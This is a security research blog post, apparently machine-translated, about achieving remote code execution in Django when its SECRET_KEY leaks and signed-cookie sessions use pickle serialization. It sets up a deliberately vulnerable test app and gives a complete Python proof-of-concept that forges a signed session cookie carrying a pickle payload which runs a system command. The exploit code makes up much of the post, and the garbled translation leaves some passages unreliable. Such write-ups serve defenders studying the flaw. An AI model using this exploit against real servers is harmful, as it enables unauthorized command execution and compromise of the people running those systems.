Aquaboutic | Focus Security Research | Vulnerability Exploit | POC


command execution practice caused by secret key leakage of django

Posted by fleschner at 2020-02-24

0x01 purpose of secret key and attack surface caused by leakage

Secret key is mainly used for encryption and signature. The following is the description of official documents:

The secret key is used for:

django.contrib.sessions.backends.cache defaultget_session_auth_hash() CookieStorage FallbackStorage PasswordResetView

Possible attack surface of secret key disclosure:

cookie-based sessions session_data contrib.auth.token

We focus on remote code execution.

0x02 several ways of Django session

As shown in the following figure, both the key and data of the session are stored in the SQLite database, which is the default setting. When the user requests the server with a cookie, the cookie contains the session key. The server will query the database according to the session key to obtain the session data. That is to say, there is a server for session [u data].

session_key session_key session_data session_data

When Django uses this method, unlike other methods, it also exists session﹐ u data in the cookie, that is, in the client. However, it is signed. The signature depends on Django's secret key, so if we know the secret key, we may modify the session [u data]. This is also the focus of our discussion.

session_data session_data

0x03 environment preparation

There is a good case about using session to implement command execution. I've seen it when learning the pickle deserialization. The key is that Django needs to do the deserialization operation to get the data after obtaining the session ﹐ data. Therefore, if there is an opportunity to operate session ﹣ data, it may lead to code execution.

session_data session_data

We are concerned about the leakage of secret key, which has two key points:

cookie-based sessions serializers.PickleSerializer

Note: below Django level 1.5, the default for session is to use pickle to perform the serial number operation django.contrib.sessions.serializers.picklesserializer; at 1.6 and above, the default is JSON serialization. django.contrib.sessions.serializers.JSONSerializer

django.contrib.sessions.serializers.PickleSerializer django.contrib.sessions.serializers.JSONSerializer

Djgano test environment deployment:

#命令行下运行如下命令来创建项目 django-admin startproject testproject #在项目中创建应用 cd testproject python startapp testapp #在setting.py中新增SESSION_ENGINE和SESSION_SERIALIZER配置。这是漏洞存在的必要条件! SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies' #SESSION_SERIALIZER = 'django.contrib.sessions.serializers.JSONSerializer' SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer' #因为我的环境中使用的Django1.11,默认使用的是JSONSerializer,所以需要配置这一条。

The contents of are as follows:

from django.conf.urls import url from django.contrib import admin from testapp import views urlpatterns = [ url(r'.*$', views.index), url(r'^admin/',, ]

The contents of are as follows:

# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.shortcuts import render from django.http import HttpResponse # Create your views here. def index(request): x= request.session print x.values print dir(x) print x.serializer print x['userid'] #这一句是关键,需要有尝试从session中取数据的行为,django才会去执行反序列 return HttpResponse(x)

Note: Django can only execute the inverse sequence if it tries to get data from the session, otherwise it will not be triggered! Therefore, in the actual environment, it is better to choose the user information related interface and other interfaces that will take data for testing.

The above completes the preparation of the environment, and runs Python runserver to start the service.

python runserver

0x04 POC and verification

For the generation method of pickle POC, please refer to my previous article Python pickle's Arbitrary Code Execution Vulnerability practice and payload construction.

The content of is as follows:

# !/usr/bin/env python # -*- coding:utf-8 -*- __author__ = 'bit4' __github__ = '' import os import requests from django.contrib.sessions.serializers import PickleSerializer from django.core import signing import pickle def session_gen(SECRET_KEY,command = 'ping -n 3 || ping -c',): class Run(object): def __reduce__(self): #return (os.system,('ping',)) return (os.system,(command,)) #SECRET_KEY = '1bb8)i&dl9c5=npkp248gl&aji7^x6izh3!itsmb6&yl!fak&f' SECRET_KEY = SECRET_KEY sess = signing.dumps(Run(), key = SECRET_KEY,serializer=PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies') #生成的恶意session print sess ''' salt='django.contrib.sessions.backends.signed_cookies' sess = pickle.dumps(Run()) sess = signing.b64_encode(sess)#通过跟踪signing.dumps函数可以知道pickle.dumps后的数据还经过了如下处理。 sess = signing.TimestampSigner(key=SECRET_KEY, salt=salt).sign(sess) print sess #这里生成的session也是可以成功利用的,这样写只是为了理解signing.dumps。 ''' session = 'sessionid={0}'.format(sess) return session def exp(url,SECRET_KEY,command): headers = {'Cookie':session_gen(SECRET_KEY,command)} proxy = {"http":""}#设置为burp的代理方便观察请求包 response = requests.get(url,headers= headers,proxies = proxy) #print response.content if __name__ == '__main__': url = '' SECRET_KEY = '1bb8)i&dl9c5=npkp248gl&aji7^x6izh3!itsmb6&yl!fak&f' command = 'ping -n 3 || ping -c' exp(url,SECRET_KEY,command)

When running, the output in the background:

Print x ['userid '] corresponds to two actions: one is deserialization, which is the key to executing system commands; the other is value taking. Here is the error information printed due to value taking failure, but this is no longer important, because we have achieved our goal.

print x['userid']

POC script is better to use native library or method to generate payload. For example, in above, you can use signing.dumps or pickle.dumps alone and then add other operations, but you'd better use the first one to ensure the correctness of payload. And in the actual environment, if you can get the specific version of the target, you'd better configure the corresponding version of the environment to complete the generation of POC.

signing.dumps pickle.dumps

本文环境和代码的下载地址: 0x05 参考